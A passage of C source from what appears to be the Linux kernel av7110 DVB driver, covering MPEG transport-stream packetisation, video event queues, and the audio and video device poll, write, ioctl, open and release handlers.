{\n\t\tc2 = find_pes_header(buf + c + add, length - c - add, &p->frags);\n\t\tif (c2 >= 0) {\n\t\t\tc2 += c + add;\n\t\t\tif (c2 > c){\n\t\t\t\tp_to_t(buf + c, c2 - c, pid, &p->counter, p->feed);\n\t\t\t\tc = c2;\n\t\t\t\tclear_p2t(p);\n\t\t\t\tadd = 0;\n\t\t\t} else\n\t\t\t\tadd = 1;\n\t\t} else {\n\t\t\tl = length - c;\n\t\t\trest = l % (TS_SIZE - 4);\n\t\t\tl -= rest;\n\t\t\tp_to_t(buf + c, l, pid, &p->counter, p->feed);\n\t\t\tmemcpy(p->pes, buf + c + l, rest);\n\t\t\tp->pos = rest;\n\t\t\tc = length;\n\t\t}\n\t}\n}\n\n\nstatic int write_ts_header2(u16 pid, u8 *counter, int pes_start, u8 *buf, u8 length)\n{\n\tint i;\n\tint c = 0;\n\tint fill;\n\tu8 tshead[4] = { 0x47, 0x00, 0x00, 0x10 };\n\n\tfill = (TS_SIZE - 4) - length;\n\tif (pes_start)\n\t\ttshead[1] = 0x40;\n\tif (fill)\n\t\ttshead[3] = 0x30;\n\ttshead[1] |= (u8)((pid & 0x1F00) >> 8);\n\ttshead[2] |= (u8)(pid & 0x00FF);\n\ttshead[3] |= ((*counter)++ & 0x0F);\n\tmemcpy(buf, tshead, 4);\n\tc += 4;\n\n\tif (fill) {\n\t\tbuf[4] = fill - 1;\n\t\tc++;\n\t\tif (fill > 1) {\n\t\t\tbuf[5] = 0x00;\n\t\t\tc++;\n\t\t}\n\t\tfor (i = 6; i < fill + 4; i++) {\n\t\t\tbuf[i] = 0xFF;\n\t\t\tc++;\n\t\t}\n\t}\n\n\treturn c;\n}\n\n\nstatic void p_to_t(u8 const *buf, long int length, u16 pid, u8 *counter,\n\t\t struct dvb_demux_feed *feed)\n{\n\tint l, pes_start;\n\tu8 obuf[TS_SIZE];\n\tlong c = 0;\n\n\tpes_start = 0;\n\tif (length > 3 &&\n\t buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x01)\n\t\tswitch (buf[3]) {\n\t\t\tcase PROG_STREAM_MAP:\n\t\t\tcase PRIVATE_STREAM2:\n\t\t\tcase PROG_STREAM_DIR:\n\t\t\tcase ECM_STREAM :\n\t\t\tcase EMM_STREAM :\n\t\t\tcase PADDING_STREAM :\n\t\t\tcase DSM_CC_STREAM :\n\t\t\tcase ISO13522_STREAM:\n\t\t\tcase PRIVATE_STREAM1:\n\t\t\tcase AUDIO_STREAM_S ... AUDIO_STREAM_E:\n\t\t\tcase VIDEO_STREAM_S ... VIDEO_STREAM_E:\n\t\t\t\tpes_start = 1;\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\n\twhile (c < length) {\n\t\tmemset(obuf, 0, TS_SIZE);\n\t\tif (length - c >= (TS_SIZE - 4)){\n\t\t\tl = write_ts_header2(pid, counter, pes_start,\n\t\t\t\t\t obuf, (TS_SIZE - 4));\n\t\t\tmemcpy(obuf + l, buf + c, TS_SIZE - l);\n\t\t\tc += TS_SIZE - l;\n\t\t} else {\n\t\t\tl = write_ts_header2(pid, counter, pes_start,\n\t\t\t\t\t obuf, length - c);\n\t\t\tmemcpy(obuf + l, buf + c, TS_SIZE - l);\n\t\t\tc = length;\n\t\t}\n\t\tfeed->cb.ts(obuf, 188, NULL, 0, &feed->feed.ts);\n\t\tpes_start = 0;\n\t}\n}\n\n\nstatic int write_ts_to_decoder(struct av7110 *av7110, int type, const u8 *buf, size_t len)\n{\n\tstruct ipack *ipack = &av7110->ipack[type];\n\n\tif (buf[1] & TRANS_ERROR) {\n\t\tav7110_ipack_reset(ipack);\n\t\treturn -1;\n\t}\n\n\tif (!(buf[3] & PAYLOAD))\n\t\treturn -1;\n\n\tif (buf[1] & PAY_START)\n\t\tav7110_ipack_flush(ipack);\n\n\tif (buf[3] & ADAPT_FIELD) {\n\t\tlen -= buf[4] + 1;\n\t\tbuf += buf[4] + 1;\n\t\tif (!len)\n\t\t\treturn 0;\n\t}\n\n\tav7110_ipack_instant_repack(buf + 4, len - 4, ipack);\n\treturn 0;\n}\n\n\nint av7110_write_to_decoder(struct dvb_demux_feed *feed, const u8 *buf, size_t len)\n{\n\tstruct dvb_demux *demux = feed->demux;\n\tstruct av7110 *av7110 = (struct av7110 *) demux->priv;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (av7110->full_ts && demux->dmx.frontend->source != DMX_MEMORY_FE)\n\t\treturn 0;\n\n\tswitch (feed->pes_type) {\n\tcase 0:\n\t\tif (av7110->audiostate.stream_source == AUDIO_SOURCE_MEMORY)\n\t\t\treturn -EINVAL;\n\t\tbreak;\n\tcase 1:\n\t\tif (av7110->videostate.stream_source == VIDEO_SOURCE_MEMORY)\n\t\t\treturn -EINVAL;\n\t\tbreak;\n\tdefault:\n\t\treturn -1;\n\t}\n\n\treturn write_ts_to_decoder(av7110, feed->pes_type, buf, len);\n}\n\n\n\n/******************************************************************************\n * Video MPEG decoder events\n ******************************************************************************/\nvoid dvb_video_add_event(struct av7110 *av7110, struct video_event *event)\n{\n\tstruct dvb_video_events *events = &av7110->video_events;\n\tint wp;\n\n\tspin_lock_bh(&events->lock);\n\n\twp = (events->eventw + 1) % MAX_VIDEO_EVENT;\n\tif (wp == events->eventr) {\n\t\tevents->overflow = 1;\n\t\tevents->eventr = (events->eventr + 1) % MAX_VIDEO_EVENT;\n\t}\n\n\t//FIXME: timestamp?\n\tmemcpy(&events->events[events->eventw], event, sizeof(struct video_event));\n\tevents->eventw = wp;\n\n\tspin_unlock_bh(&events->lock);\n\n\twake_up_interruptible(&events->wait_queue);\n}\n\n\nstatic int dvb_video_get_event (struct av7110 *av7110, struct video_event *event, int flags)\n{\n\tstruct dvb_video_events *events = &av7110->video_events;\n\n\tif (events->overflow) {\n\t\tevents->overflow = 0;\n\t\treturn -EOVERFLOW;\n\t}\n\tif (events->eventw == events->eventr) {\n\t\tint ret;\n\n\t\tif (flags & O_NONBLOCK)\n\t\t\treturn -EWOULDBLOCK;\n\n\t\tret = wait_event_interruptible(events->wait_queue,\n\t\t\t\t\t events->eventw != events->eventr);\n\t\tif (ret < 0)\n\t\t\treturn ret;\n\t}\n\n\tspin_lock_bh(&events->lock);\n\n\tmemcpy(event, &events->events[events->eventr],\n\t sizeof(struct video_event));\n\tevents->eventr = (events->eventr + 1) % MAX_VIDEO_EVENT;\n\n\tspin_unlock_bh(&events->lock);\n\n\treturn 0;\n}\n\n\n/******************************************************************************\n * DVB device file operations\n ******************************************************************************/\n\nstatic unsigned int dvb_video_poll(struct file *file, poll_table *wait)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\tunsigned int mask = 0;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif ((file->f_flags & O_ACCMODE) != O_RDONLY)\n\t\tpoll_wait(file, &av7110->avout.queue, wait);\n\n\tpoll_wait(file, &av7110->video_events.wait_queue, wait);\n\n\tif (av7110->video_events.eventw != av7110->video_events.eventr)\n\t\tmask = POLLPRI;\n\n\tif ((file->f_flags & O_ACCMODE) != O_RDONLY) {\n\t\tif (av7110->playing) {\n\t\t\tif (FREE_COND)\n\t\t\t\tmask |= (POLLOUT | POLLWRNORM);\n\t\t} else {\n\t\t\t/* if not playing: may play if asked for */\n\t\t\tmask |= (POLLOUT | POLLWRNORM);\n\t\t}\n\t}\n\n\treturn mask;\n}\n\nstatic ssize_t dvb_video_write(struct file *file, const char __user *buf,\n\t\t\t size_t count, loff_t *ppos)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\tunsigned char c;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif ((file->f_flags & O_ACCMODE) == O_RDONLY)\n\t\treturn -EPERM;\n\n\tif (av7110->videostate.stream_source != VIDEO_SOURCE_MEMORY)\n\t\treturn -EPERM;\n\n\tif (get_user(c, buf))\n\t\treturn -EFAULT;\n\tif (c == 0x47 && count % TS_SIZE == 0)\n\t\treturn ts_play(av7110, buf, count, file->f_flags & O_NONBLOCK, 1);\n\telse\n\t\treturn dvb_play(av7110, buf, count, file->f_flags & O_NONBLOCK, 1);\n}\n\nstatic unsigned int dvb_audio_poll(struct file *file, poll_table *wait)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\tunsigned int mask = 0;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tpoll_wait(file, &av7110->aout.queue, wait);\n\n\tif (av7110->playing) {\n\t\tif (dvb_ringbuffer_free(&av7110->aout) >= 20 * 1024)\n\t\t\tmask |= (POLLOUT | POLLWRNORM);\n\t} else /* if not playing: may play if asked for */\n\t\tmask = (POLLOUT | POLLWRNORM);\n\n\treturn mask;\n}\n\nstatic ssize_t dvb_audio_write(struct file *file, const char __user *buf,\n\t\t\t size_t count, loff_t *ppos)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\tunsigned char c;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (av7110->audiostate.stream_source != AUDIO_SOURCE_MEMORY) {\n\t\tprintk(KERN_ERR \"not audio source memory\\n\");\n\t\treturn -EPERM;\n\t}\n\n\tif (get_user(c, buf))\n\t\treturn -EFAULT;\n\tif (c == 0x47 && count % TS_SIZE == 0)\n\t\treturn ts_play(av7110, buf, count, file->f_flags & O_NONBLOCK, 0);\n\telse\n\t\treturn dvb_aplay(av7110, buf, count, file->f_flags & O_NONBLOCK, 0);\n}\n\nstatic u8 iframe_header[] = { 0x00, 0x00, 0x01, 0xe0, 0x00, 0x00, 0x80, 0x00, 0x00 };\n\n#define MIN_IFRAME 400000\n\nstatic int play_iframe(struct av7110 *av7110, char __user *buf, unsigned int len, int nonblock)\n{\n\tunsigned i, n;\n\tint progressive = 0;\n\tint match = 0;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (len == 0)\n\t\treturn 0;\n\n\tif (!(av7110->playing & RP_VIDEO)) {\n\t\tif (av7110_av_start_play(av7110, RP_VIDEO) < 0)\n\t\t\treturn -EBUSY;\n\t}\n\n\t/* search in buf for instances of 00 00 01 b5 1? */\n\tfor (i = 0; i < len; i++) {\n\t\tunsigned char c;\n\t\tif (get_user(c, buf + i))\n\t\t\treturn -EFAULT;\n\t\tif (match == 5) {\n\t\t\tprogressive = c & 0x08;\n\t\t\tmatch = 0;\n\t\t}\n\t\tif (c == 0x00) {\n\t\t\tmatch = (match == 1 || match == 2) ? 2 : 1;\n\t\t\tcontinue;\n\t\t}\n\t\tswitch (match++) {\n\t\tcase 2: if (c == 0x01)\n\t\t\t\tcontinue;\n\t\t\tbreak;\n\t\tcase 3: if (c == 0xb5)\n\t\t\t\tcontinue;\n\t\t\tbreak;\n\t\tcase 4: if ((c & 0xf0) == 0x10)\n\t\t\t\tcontinue;\n\t\t\tbreak;\n\t\t}\n\t\tmatch = 0;\n\t}\n\n\t/* setting n always > 1, fixes problems when playing stillframes\n\t consisting of I- and P-Frames */\n\tn = MIN_IFRAME / len + 1;\n\n\t/* FIXME: nonblock? */\n\tdvb_play_kernel(av7110, iframe_header, sizeof(iframe_header), 0, 1);\n\n\tfor (i = 0; i < n; i++)\n\t\tdvb_play(av7110, buf, len, 0, 1);\n\n\tav7110_ipack_flush(&av7110->ipack[1]);\n\n\tif (progressive)\n\t\treturn vidcom(av7110, AV_VIDEO_CMD_FREEZE, 1);\n\telse\n\t\treturn 0;\n}\n\n\nstatic int dvb_video_ioctl(struct file *file,\n\t\t\t unsigned int cmd, void *parg)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\tunsigned long arg = (unsigned long) parg;\n\tint ret = 0;\n\n\tdprintk(1, \"av7110:%p, cmd=%04x\\n\", av7110,cmd);\n\n\tif ((file->f_flags & O_ACCMODE) == O_RDONLY) {\n\t\tif ( cmd != VIDEO_GET_STATUS && cmd != VIDEO_GET_EVENT &&\n\t\t cmd != VIDEO_GET_SIZE ) {\n\t\t\treturn -EPERM;\n\t\t}\n\t}\n\n\tif (mutex_lock_interruptible(&av7110->ioctl_mutex))\n\t\treturn -ERESTARTSYS;\n\n\tswitch (cmd) {\n\tcase VIDEO_STOP:\n\t\tav7110->videostate.play_state = VIDEO_STOPPED;\n\t\tif (av7110->videostate.stream_source == VIDEO_SOURCE_MEMORY)\n\t\t\tret = av7110_av_stop(av7110, RP_VIDEO);\n\t\telse\n\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_STOP,\n\t\t\t av7110->videostate.video_blank ? 0 : 1);\n\t\tif (!ret)\n\t\t\tav7110->trickmode = TRICK_NONE;\n\t\tbreak;\n\n\tcase VIDEO_PLAY:\n\t\tav7110->trickmode = TRICK_NONE;\n\t\tif (av7110->videostate.play_state == VIDEO_FREEZED) {\n\t\t\tav7110->videostate.play_state = VIDEO_PLAYING;\n\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_PLAY, 0);\n\t\t\tif (ret)\n\t\t\t\tbreak;\n\t\t}\n\t\tif (av7110->videostate.stream_source == VIDEO_SOURCE_MEMORY) {\n\t\t\tif (av7110->playing == RP_AV) {\n\t\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Stop, 0);\n\t\t\t\tif (ret)\n\t\t\t\t\tbreak;\n\t\t\t\tav7110->playing &= ~RP_VIDEO;\n\t\t\t}\n\t\t\tret = av7110_av_start_play(av7110, RP_VIDEO);\n\t\t}\n\t\tif (!ret)\n\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_PLAY, 0);\n\t\tif (!ret)\n\t\t\tav7110->videostate.play_state = VIDEO_PLAYING;\n\t\tbreak;\n\n\tcase VIDEO_FREEZE:\n\t\tav7110->videostate.play_state = VIDEO_FREEZED;\n\t\tif (av7110->playing & RP_VIDEO)\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Pause, 0);\n\t\telse\n\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_FREEZE, 1);\n\t\tif (!ret)\n\t\t\tav7110->trickmode = TRICK_FREEZE;\n\t\tbreak;\n\n\tcase VIDEO_CONTINUE:\n\t\tif (av7110->playing & RP_VIDEO)\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Continue, 0);\n\t\tif (!ret)\n\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_PLAY, 0);\n\t\tif (!ret) {\n\t\t\tav7110->videostate.play_state = VIDEO_PLAYING;\n\t\t\tav7110->trickmode = TRICK_NONE;\n\t\t}\n\t\tbreak;\n\n\tcase VIDEO_SELECT_SOURCE:\n\t\tav7110->videostate.stream_source = (video_stream_source_t) arg;\n\t\tbreak;\n\n\tcase VIDEO_SET_BLANK:\n\t\tav7110->videostate.video_blank = (int) arg;\n\t\tbreak;\n\n\tcase VIDEO_GET_STATUS:\n\t\tmemcpy(parg, &av7110->videostate, sizeof(struct video_status));\n\t\tbreak;\n\n\tcase VIDEO_GET_EVENT:\n\t\tret = dvb_video_get_event(av7110, parg, file->f_flags);\n\t\tbreak;\n\n\tcase VIDEO_GET_SIZE:\n\t\tmemcpy(parg, &av7110->video_size, sizeof(video_size_t));\n\t\tbreak;\n\n\tcase VIDEO_SET_DISPLAY_FORMAT:\n\t{\n\t\tvideo_displayformat_t format = (video_displayformat_t) arg;\n\t\tswitch (format) {\n\t\tcase VIDEO_PAN_SCAN:\n\t\t\tav7110->display_panscan = VID_PAN_SCAN_PREF;\n\t\t\tbreak;\n\t\tcase VIDEO_LETTER_BOX:\n\t\t\tav7110->display_panscan = VID_VC_AND_PS_PREF;\n\t\t\tbreak;\n\t\tcase VIDEO_CENTER_CUT_OUT:\n\t\t\tav7110->display_panscan = VID_CENTRE_CUT_PREF;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tret = -EINVAL;\n\t\t}\n\t\tif (ret < 0)\n\t\t\tbreak;\n\t\tav7110->videostate.display_format = format;\n\t\tret = av7110_fw_cmd(av7110, COMTYPE_ENCODER, SetPanScanType,\n\t\t\t\t 1, av7110->display_panscan);\n\t\tbreak;\n\t}\n\n\tcase VIDEO_SET_FORMAT:\n\t\tif (arg > 1) {\n\t\t\tret = -EINVAL;\n\t\t\tbreak;\n\t\t}\n\t\tav7110->display_ar = arg;\n\t\tret = av7110_fw_cmd(av7110, COMTYPE_ENCODER, SetMonitorType,\n\t\t\t\t 1, (u16) arg);\n\t\tbreak;\n\n\tcase VIDEO_STILLPICTURE:\n\t{\n\t\tstruct video_still_picture *pic =\n\t\t\t(struct video_still_picture *) parg;\n\t\tav7110->videostate.stream_source = VIDEO_SOURCE_MEMORY;\n\t\tdvb_ringbuffer_flush_spinlock_wakeup(&av7110->avout);\n\t\tret = play_iframe(av7110, pic->iFrame, pic->size,\n\t\t\t\t file->f_flags & O_NONBLOCK);\n\t\tbreak;\n\t}\n\n\tcase VIDEO_FAST_FORWARD:\n\t\t//note: arg is ignored by firmware\n\t\tif (av7110->playing & RP_VIDEO)\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY,\n\t\t\t\t\t __Scan_I, 2, AV_PES, 0);\n\t\telse\n\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_FFWD, arg);\n\t\tif (!ret) {\n\t\t\tav7110->trickmode = TRICK_FAST;\n\t\t\tav7110->videostate.play_state = VIDEO_PLAYING;\n\t\t}\n\t\tbreak;\n\n\tcase VIDEO_SLOWMOTION:\n\t\tif (av7110->playing&RP_VIDEO) {\n\t\t\tif (av7110->trickmode != TRICK_SLOW)\n\t\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY, __Slow, 2, 0, 0);\n\t\t\tif (!ret)\n\t\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_SLOW, arg);\n\t\t} else {\n\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_PLAY, 0);\n\t\t\tif (!ret)\n\t\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_STOP, 0);\n\t\t\tif (!ret)\n\t\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_SLOW, arg);\n\t\t}\n\t\tif (!ret) {\n\t\t\tav7110->trickmode = TRICK_SLOW;\n\t\t\tav7110->videostate.play_state = VIDEO_PLAYING;\n\t\t}\n\t\tbreak;\n\n\tcase VIDEO_GET_CAPABILITIES:\n\t\t*(int *)parg = VIDEO_CAP_MPEG1 | VIDEO_CAP_MPEG2 |\n\t\t\tVIDEO_CAP_SYS | VIDEO_CAP_PROG;\n\t\tbreak;\n\n\tcase VIDEO_CLEAR_BUFFER:\n\t\tdvb_ringbuffer_flush_spinlock_wakeup(&av7110->avout);\n\t\tav7110_ipack_reset(&av7110->ipack[1]);\n\t\tif (av7110->playing == RP_AV) {\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY,\n\t\t\t\t\t __Play, 2, AV_PES, 0);\n\t\t\tif (ret)\n\t\t\t\tbreak;\n\t\t\tif (av7110->trickmode == TRICK_FAST)\n\t\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY,\n\t\t\t\t\t\t __Scan_I, 2, AV_PES, 0);\n\t\t\tif (av7110->trickmode == TRICK_SLOW) {\n\t\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY,\n\t\t\t\t\t\t __Slow, 2, 0, 0);\n\t\t\t\tif (!ret)\n\t\t\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_SLOW, arg);\n\t\t\t}\n\t\t\tif (av7110->trickmode == TRICK_FREEZE)\n\t\t\t\tret = vidcom(av7110, AV_VIDEO_CMD_STOP, 1);\n\t\t}\n\t\tbreak;\n\n\tcase VIDEO_SET_STREAMTYPE:\n\t\tbreak;\n\n\tdefault:\n\t\tret = -ENOIOCTLCMD;\n\t\tbreak;\n\t}\n\n\tmutex_unlock(&av7110->ioctl_mutex);\n\treturn ret;\n}\n\nstatic int dvb_audio_ioctl(struct file *file,\n\t\t\t unsigned int cmd, void *parg)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\tunsigned long arg = (unsigned long) parg;\n\tint ret = 0;\n\n\tdprintk(1, \"av7110:%p, cmd=%04x\\n\", av7110,cmd);\n\n\tif (((file->f_flags & O_ACCMODE) == O_RDONLY) &&\n\t (cmd != AUDIO_GET_STATUS))\n\t\treturn -EPERM;\n\n\tif (mutex_lock_interruptible(&av7110->ioctl_mutex))\n\t\treturn -ERESTARTSYS;\n\n\tswitch (cmd) {\n\tcase AUDIO_STOP:\n\t\tif (av7110->audiostate.stream_source == AUDIO_SOURCE_MEMORY)\n\t\t\tret = av7110_av_stop(av7110, RP_AUDIO);\n\t\telse\n\t\t\tret = audcom(av7110, AUDIO_CMD_MUTE);\n\t\tif (!ret)\n\t\t\tav7110->audiostate.play_state = AUDIO_STOPPED;\n\t\tbreak;\n\n\tcase AUDIO_PLAY:\n\t\tif (av7110->audiostate.stream_source == AUDIO_SOURCE_MEMORY)\n\t\t\tret = av7110_av_start_play(av7110, RP_AUDIO);\n\t\tif (!ret)\n\t\t\tret = audcom(av7110, AUDIO_CMD_UNMUTE);\n\t\tif (!ret)\n\t\t\tav7110->audiostate.play_state = AUDIO_PLAYING;\n\t\tbreak;\n\n\tcase AUDIO_PAUSE:\n\t\tret = audcom(av7110, AUDIO_CMD_MUTE);\n\t\tif (!ret)\n\t\t\tav7110->audiostate.play_state = AUDIO_PAUSED;\n\t\tbreak;\n\n\tcase AUDIO_CONTINUE:\n\t\tif (av7110->audiostate.play_state == AUDIO_PAUSED) {\n\t\t\tav7110->audiostate.play_state = AUDIO_PLAYING;\n\t\t\tret = audcom(av7110, AUDIO_CMD_UNMUTE | AUDIO_CMD_PCM16);\n\t\t}\n\t\tbreak;\n\n\tcase AUDIO_SELECT_SOURCE:\n\t\tav7110->audiostate.stream_source = (audio_stream_source_t) arg;\n\t\tbreak;\n\n\tcase AUDIO_SET_MUTE:\n\t{\n\t\tret = audcom(av7110, arg ? AUDIO_CMD_MUTE : AUDIO_CMD_UNMUTE);\n\t\tif (!ret)\n\t\t\tav7110->audiostate.mute_state = (int) arg;\n\t\tbreak;\n\t}\n\n\tcase AUDIO_SET_AV_SYNC:\n\t\tav7110->audiostate.AV_sync_state = (int) arg;\n\t\tret = audcom(av7110, arg ? AUDIO_CMD_SYNC_ON : AUDIO_CMD_SYNC_OFF);\n\t\tbreak;\n\n\tcase AUDIO_SET_BYPASS_MODE:\n\t\tif (FW_VERSION(av7110->arm_app) < 0x2621)\n\t\t\tret = -EINVAL;\n\t\tav7110->audiostate.bypass_mode = (int)arg;\n\t\tbreak;\n\n\tcase AUDIO_CHANNEL_SELECT:\n\t\tav7110->audiostate.channel_select = (audio_channel_select_t) arg;\n\t\tswitch(av7110->audiostate.channel_select) {\n\t\tcase AUDIO_STEREO:\n\t\t\tret = audcom(av7110, AUDIO_CMD_STEREO);\n\t\t\tif (!ret) {\n\t\t\t\tif (av7110->adac_type == DVB_ADAC_CRYSTAL)\n\t\t\t\t\ti2c_writereg(av7110, 0x20, 0x02, 0x49);\n\t\t\t\telse if (av7110->adac_type == DVB_ADAC_MSP34x5)\n\t\t\t\t\tmsp_writereg(av7110, MSP_WR_DSP, 0x0008, 0x0220);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase AUDIO_MONO_LEFT:\n\t\t\tret = audcom(av7110, AUDIO_CMD_MONO_L);\n\t\t\tif (!ret) {\n\t\t\t\tif (av7110->adac_type == DVB_ADAC_CRYSTAL)\n\t\t\t\t\ti2c_writereg(av7110, 0x20, 0x02, 0x4a);\n\t\t\t\telse if (av7110->adac_type == DVB_ADAC_MSP34x5)\n\t\t\t\t\tmsp_writereg(av7110, MSP_WR_DSP, 0x0008, 0x0200);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase AUDIO_MONO_RIGHT:\n\t\t\tret = audcom(av7110, AUDIO_CMD_MONO_R);\n\t\t\tif (!ret) {\n\t\t\t\tif (av7110->adac_type == DVB_ADAC_CRYSTAL)\n\t\t\t\t\ti2c_writereg(av7110, 0x20, 0x02, 0x45);\n\t\t\t\telse if (av7110->adac_type == DVB_ADAC_MSP34x5)\n\t\t\t\t\tmsp_writereg(av7110, MSP_WR_DSP, 0x0008, 0x0210);\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tret = -EINVAL;\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\n\tcase AUDIO_GET_STATUS:\n\t\tmemcpy(parg, &av7110->audiostate, sizeof(struct audio_status));\n\t\tbreak;\n\n\tcase AUDIO_GET_CAPABILITIES:\n\t\tif (FW_VERSION(av7110->arm_app) < 0x2621)\n\t\t\t*(unsigned int *)parg = AUDIO_CAP_LPCM | AUDIO_CAP_MP1 | AUDIO_CAP_MP2;\n\t\telse\n\t\t\t*(unsigned int *)parg = AUDIO_CAP_LPCM | AUDIO_CAP_DTS | AUDIO_CAP_AC3 |\n\t\t\t\t\t\tAUDIO_CAP_MP1 | AUDIO_CAP_MP2;\n\t\tbreak;\n\n\tcase AUDIO_CLEAR_BUFFER:\n\t\tdvb_ringbuffer_flush_spinlock_wakeup(&av7110->aout);\n\t\tav7110_ipack_reset(&av7110->ipack[0]);\n\t\tif (av7110->playing == RP_AV)\n\t\t\tret = av7110_fw_cmd(av7110, COMTYPE_REC_PLAY,\n\t\t\t\t\t __Play, 2, AV_PES, 0);\n\t\tbreak;\n\n\tcase AUDIO_SET_ID:\n\t\tbreak;\n\n\tcase AUDIO_SET_MIXER:\n\t{\n\t\tstruct audio_mixer *amix = (struct audio_mixer *)parg;\n\t\tret = av7110_set_volume(av7110, amix->volume_left, amix->volume_right);\n\t\tbreak;\n\t}\n\n\tcase AUDIO_SET_STREAMTYPE:\n\t\tbreak;\n\n\tdefault:\n\t\tret = -ENOIOCTLCMD;\n\t}\n\n\tmutex_unlock(&av7110->ioctl_mutex);\n\treturn ret;\n}\n\n\nstatic int dvb_video_open(struct inode *inode, struct file *file)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\tint err;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif ((err = dvb_generic_open(inode, file)) < 0)\n\t\treturn err;\n\n\tif ((file->f_flags & O_ACCMODE) != O_RDONLY) {\n\t\tdvb_ringbuffer_flush_spinlock_wakeup(&av7110->aout);\n\t\tdvb_ringbuffer_flush_spinlock_wakeup(&av7110->avout);\n\t\tav7110->video_blank = 1;\n\t\tav7110->audiostate.AV_sync_state = 1;\n\t\tav7110->videostate.stream_source = VIDEO_SOURCE_DEMUX;\n\n\t\t/* empty event queue */\n\t\tav7110->video_events.eventr = av7110->video_events.eventw = 0;\n\t}\n\n\treturn 0;\n}\n\nstatic int dvb_video_release(struct inode *inode, struct file *file)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif ((file->f_flags & O_ACCMODE) != O_RDONLY) {\n\t\tav7110_av_stop(av7110, RP_VIDEO);\n\t}\n\n\treturn dvb_generic_release(inode, file);\n}\n\nstatic int dvb_audio_open(struct inode *inode, struct file *file)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\tint err = dvb_generic_open(inode, file);\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tif (err < 0)\n\t\treturn err;\n\tdvb_ringbuffer_flush_spinlock_wakeup(&av7110->aout);\n\tav7110->audiostate.stream_source = AUDIO_SOURCE_DEMUX;\n\treturn 0;\n}\n\nstatic int dvb_audio_release(struct inode *inode, struct file *file)\n{\n\tstruct dvb_device *dvbdev = file->private_data;\n\tstruct av7110 *av7110 = dvbdev->priv;\n\n\tdprintk(2, \"av7110:%p, \\n\", av7110);\n\n\tav7110_av_stop(av7110, RP_AUDIO);\n\treturn dvb_generic_release(inode, file);\n}\n\n\n\n/******************************************************************************\n * driver registration\n ******************************************************************************/\n\nstatic const struct file_operations dvb_video_fops = {\n\t.owner\t\t= THIS_MODULE,\n\t.write\t\t= dvb_video_write,\n\t.unlocked_ioctl\t= dvb_generic_ioctl,\n\t.open\t\t= dvb_video_open,\n\t.release\t= dvb_video_release,\n\t.poll\t\t= dvb_video_poll,\n\t.llseek\t\t= noop_llseek,\n};\n\nstatic struct dvb_device dvbdev_video = {\n\t.priv\t\t= NULL,\n\t.users\t\t= 6,\n\t.readers\t= 5,\t/* arbitrary */\n\t.writers\t= 1,\n\t.fops\t\t= &dvb_video_fops,\n\t.kernel_ioctl\t= dvb_video_ioctl,\n};\n\nstatic const struct file_operations dvb_audio_fops = {\n\t.owner\t\t= THIS_MODULE,\n\t.write\t\t= dvb_audio_write,\n\t.unlocked_ioctl\t= dvb_generic_ioctl,\n\t.open\t\t= dvb_audio_open,\n\t.release\t= dvb_audio_release,\n\t.poll\t\t= dvb_audio_poll,\n\t.llseek\t\t= noop_llseek,\n};\n\nstatic struct dvb_device dvbdev_audio = {\n\t.priv\t\t= NULL,\n\t.users\t\t= 1,\n\t.writers\t= 1,\n\t.fops\t\t= &dvb_audio_fops,\n\t.kernel_ioctl\t= dvb_audio_ioctl,\n};\n\n\nint av7110_av_register(struct av7110 *av7110)\n{\n\tav7110->audiostate.AV_sync_state = 0;\n\tav7110->audiostate.mute_state = 0;\n\tav7110->audiostate.play_state = 